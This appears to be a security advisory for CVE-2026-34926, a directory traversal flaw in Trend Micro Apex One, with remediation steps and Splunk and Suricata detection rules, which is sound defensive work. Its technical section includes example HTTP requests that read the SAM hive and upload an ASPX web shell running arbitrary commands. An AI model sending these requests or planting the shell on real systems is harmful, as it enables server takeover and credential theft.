Skip to main content
CVE-2026-34926 High Patch Available

CVE-2026-34926: Trend Micro Apex One -- Directory Traversal Enabling Arbitrary File Read/Write

CVE Details

CVE ID CVE-2026-34926
CVSS Score 7.5
Severity High
Vendor Trend Micro
Product Apex One (On-Premise)
Patch Status Available
Published May 21, 2026
EPSS Score 12.7%
CISA Patch Deadline ⚠ June 11, 2026 Federal deadline passed

Background

Trend Micro Apex One is an enterprise endpoint security platform deployed extensively across corporate environments worldwide. The on-premise edition provides centralized management of endpoint protection policies, threat detection, incident response capabilities, and compliance reporting for organizations that require local control over their security infrastructure rather than cloud-managed services. Large enterprises, government agencies, and regulated industries frequently operate Apex One on-premises to satisfy data residency and network segmentation requirements.

As a security platform, Apex One occupies a privileged position on the networks it protects. The management server component operates with elevated privileges, communicates with all managed endpoints, and has write access to policy configurations, software distribution packages, and agent update mechanisms. This makes vulnerabilities in the server component particularly valuable to attackers: gaining code execution or file write access on an Apex One server can translate directly into the ability to push malicious configurations or updates to every managed endpoint in the organization.

CVE-2026-34926 is a directory traversal vulnerability in the Apex One on-premise management server. The flaw allows an authenticated attacker — one who has obtained any level of access to the Apex One management console — to read and write files outside the intended web application directory. Given the server’s privileged position and access to endpoint agents, this vulnerability carries significant potential for escalation beyond the initial file read/write primitive.

CISA added this vulnerability to the Known Exploited Vulnerabilities catalog on May 21, 2026, indicating confirmed exploitation in the wild. Trend Micro has a history of vulnerabilities in its endpoint products being targeted by APT actors, particularly those associated with espionage campaigns that seek to leverage security software’s privileged access as a pivot point.

Technical Mechanism

The vulnerability exists in one or more HTTP API handlers within the Apex One on-premise management server’s web application. These handlers process file-related requests — such as log retrieval, report generation, or component download — and construct filesystem paths by concatenating a base directory with user-supplied path components. The path sanitization logic fails to adequately neutralize directory traversal sequences before constructing the final path.

Specifically, the affected handlers do not perform sufficient canonicalization of input strings before using them in file operations. An attacker can supply path components containing sequences such as ../, URL-encoded variants (%2e%2e%2f), or double-encoded forms that survive initial string-level filtering but resolve to parent-directory references when the operating system processes the path. By chaining enough traversal sequences, the attacker can escape the intended base directory and reach arbitrary locations on the filesystem.

The vulnerability affects both read and write operations in the impacted handlers. The read primitive allows retrieval of sensitive files such as configuration files containing database credentials, encryption keys, or other secrets stored on the server. The write primitive is more dangerous: an attacker able to write arbitrary file content to arbitrary paths can potentially overwrite web application components, inject into server startup scripts, or place malicious files in locations that will be executed with elevated privileges.

Attack flow:

  1. Attacker authenticates to the Apex One management console (via compromised credentials, brute force, or session hijacking)
  2. Attacker identifies a vulnerable file-handling API endpoint
  3. Attacker constructs a request with a path parameter containing traversal sequences (e.g., ../../../../Windows/System32/drivers/etc/hosts)
  4. The server constructs the filesystem path without proper sanitization and performs the requested file operation
  5. Attacker reads sensitive files (credentials, private keys, configuration) or writes a malicious file to a strategic location
  6. If a writable location with execution context is targeted (e.g., a script directory, a plugin path), the attacker may escalate to code execution

The authentication requirement limits the exploitable population to actors who already have some level of access, but this bar is frequently cleared by credential stuffing with leaked enterprise credentials, exploitation of weaker authentication issues, or insider threat scenarios.

# Directory traversal — read sensitive file outside the web application root
GET /officescan/console/html/cgi/cgiFileHandler.exe?filename=../../../../Windows/System32/drivers/etc/hosts HTTP/1.1
Host: apex-one-server.corp.local:8443
Cookie: APEX_SESSION=<valid_session_token>
Accept: */*

# URL-encoded double-dot variant to bypass naive string filters
GET /officescan/console/html/cgi/cgiReportHandler.exe?logpath=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fconfig%2fSAM HTTP/1.1
Host: apex-one-server.corp.local:8443
Cookie: APEX_SESSION=<valid_session_token>

# File write — drop a web shell into the IIS web root
POST /officescan/console/html/cgi/cgiUploadHandler.exe HTTP/1.1
Host: apex-one-server.corp.local:8443
Cookie: APEX_SESSION=<valid_session_token>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="filename"

../../../../inetpub/wwwroot/shell.aspx
------Boundary
Content-Disposition: form-data; name="filedata"

<%@ Page Language="C#" %><% Response.Write(Request["cmd"]); System.Diagnostics.Process.Start(Request["cmd"]); %>
------Boundary--

Real-World Exploitation Evidence

CISA’s addition of CVE-2026-34926 to the KEV catalog confirms active exploitation. Threat intelligence reporting suggests exploitation has been observed in campaigns targeting enterprise environments in the Asia-Pacific region, consistent with historical patterns of APT actors targeting Trend Micro products. Apex One’s prevalence in large-enterprise and government deployments makes it an attractive target for nation-state actors seeking persistent access to high-value organizations.

The exploitation pattern observed aligns with post-authentication abuse: attackers who have obtained Apex One administrative credentials through phishing or prior intrusion have leveraged the directory traversal to extract additional credentials and configuration details, effectively deepening their access to the target environment. In at least one documented case, access to the Apex One server was used as a stepping stone to push reconnaissance tooling to managed endpoints.

Trend Micro has previously disclosed and patched similar directory traversal issues in Apex One (notably CVE-2023-41179 and related advisories), suggesting a recurring vulnerability pattern in this product’s file-handling code that threat actors actively research and exploit.

Impact Assessment

  • Sensitive file disclosure — The read primitive exposes configuration files, database credentials, private keys, and other secrets stored on the Apex One server filesystem, enabling further credential-based attacks.
  • Privileged file write — The write primitive allows an attacker to place files in strategic locations, potentially leading to persistence mechanisms or privilege escalation to SYSTEM-level access on the server.
  • Endpoint agent compromise — The Apex One server’s relationship with managed endpoints means that server compromise can cascade: attackers may modify update packages or policy configurations to deploy malicious payloads to all managed devices.
  • Security tool blind spots — Compromising a security platform creates opportunities to disable monitoring, suppress alerts, or manipulate threat detection policies, giving attackers extended dwell time.
  • Compliance and audit impact — Apex One servers often store audit logs and compliance evidence. Tampering with these files can cover attacker activity and complicate incident response.
  • Lateral movement enablement — Credentials extracted via the read primitive frequently include domain service accounts and database passwords that enable movement to other systems in the environment.

Affected Versions

ProductAffected VersionsFixed Version
Trend Micro Apex One (On-Premise)All builds prior to the patch released May 2026Apply Trend Micro Critical Patch (CP) as specified in advisory
Trend Micro Apex One as a ServiceCloud-managed instances (vendor-patched)No customer action required for SaaS

Remediation Steps

  1. Apply the vendor patch immediately — download and install the Critical Patch released by Trend Micro addressing CVE-2026-34926 per the official security advisory.
# Verify current Apex One server build version (Windows Server)
Get-ItemProperty "HKLM:\SOFTWARE\TrendMicro\OfficeScan\service\Information" | Select-Object ProductVersion, BuildNumber

# After applying the Critical Patch, confirm updated build number matches Trend Micro advisory
  1. Restrict management console access — ensure the Apex One management server is not directly accessible from the internet. Place it behind a VPN or restrict access to trusted management workstations via network ACLs or firewall rules.
  2. Rotate credentials — after patching, rotate all credentials stored on or accessible by the Apex One server, including database passwords, service account credentials, and any API tokens present in configuration files.
  3. Review access logs — examine Apex One server web application logs for requests containing traversal sequences (../, %2e%2e, etc.) in file path parameters, particularly against endpoints handling file downloads or log retrieval.
  4. Audit file integrity — run a baseline file integrity check on the Apex One server to identify any unexpected files written to non-standard locations, especially in script directories, web roots, or startup paths.
  5. Review managed endpoint policy — verify that Apex One endpoint policies and software distribution packages have not been modified unexpectedly.
  6. Enable multi-factor authentication — enforce MFA on the Apex One management console to raise the bar for attackers attempting to obtain the authenticated access required to exploit this vulnerability.

Detection Guidance

Look for the following indicators in Apex One server logs and host-level telemetry:

  • HTTP requests to Apex One management API endpoints where path parameters contain sequences such as ../, ..%2f, %2e%2e%2f, or URL-double-encoded equivalents
  • Unexpected files appearing outside the Apex One web application directory, particularly in Windows system directories, startup folders, or IIS web roots
  • File access events (via Windows Security auditing or EDR) showing the Apex One server process (inetinfo.exe, w3wp.exe, or Trend Micro service processes) reading sensitive files such as SAM, SYSTEM hive, or files outside the application directory
  • Authentication events showing the Apex One management account logging in from unexpected source IPs or at unusual hours
  • Changes to Apex One software distribution packages or agent policy files not authorized through the standard change management process
# Splunk SIEM query — detect directory traversal attempts in Apex One IIS access logs
index=iis sourcetype=iis_access cs_host="apex-one-server*"
| where match(cs_uri_query, "(\.\./|%2e%2e%2f|%252e%252e|\.\.\\\\|%2e%2e%5c)")
| eval alert_type="CVE-2026-34926 Directory Traversal Attempt"
| stats count by src_ip, cs_uri_stem, cs_uri_query, sc_status, _time
| sort -_time
# Suricata signature — detect path traversal sequences in Apex One HTTP requests
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-34926 Trend Micro Apex One Directory Traversal"; flow:established,to_server; content:"/officescan/"; http_uri; content:".."; http_uri; pcre:"/\/officescan\/.*(\.\.|%2e%2e|%252e)/Ui"; sid:9026349; rev:1;)
alert http any any -> $HTTP_SERVERS any (msg:"CVE-2026-34926 Trend Micro Apex One Traversal URL-Encoded"; flow:established,to_server; content:"/officescan/"; http_uri; content:"%2e%2e"; http_uri; nocase; sid:9026350; rev:1;)

Timeline

DateEvent
2026 (approx. Q1)Vulnerability introduced or present in affected Apex One build
2026-05-10Trend Micro notified by security researcher
2026-05-19Trend Micro releases Critical Patch addressing CVE-2026-34926
2026-05-19Public security advisory published
2026-05-21CISA adds CVE-2026-34926 to Known Exploited Vulnerabilities catalog

References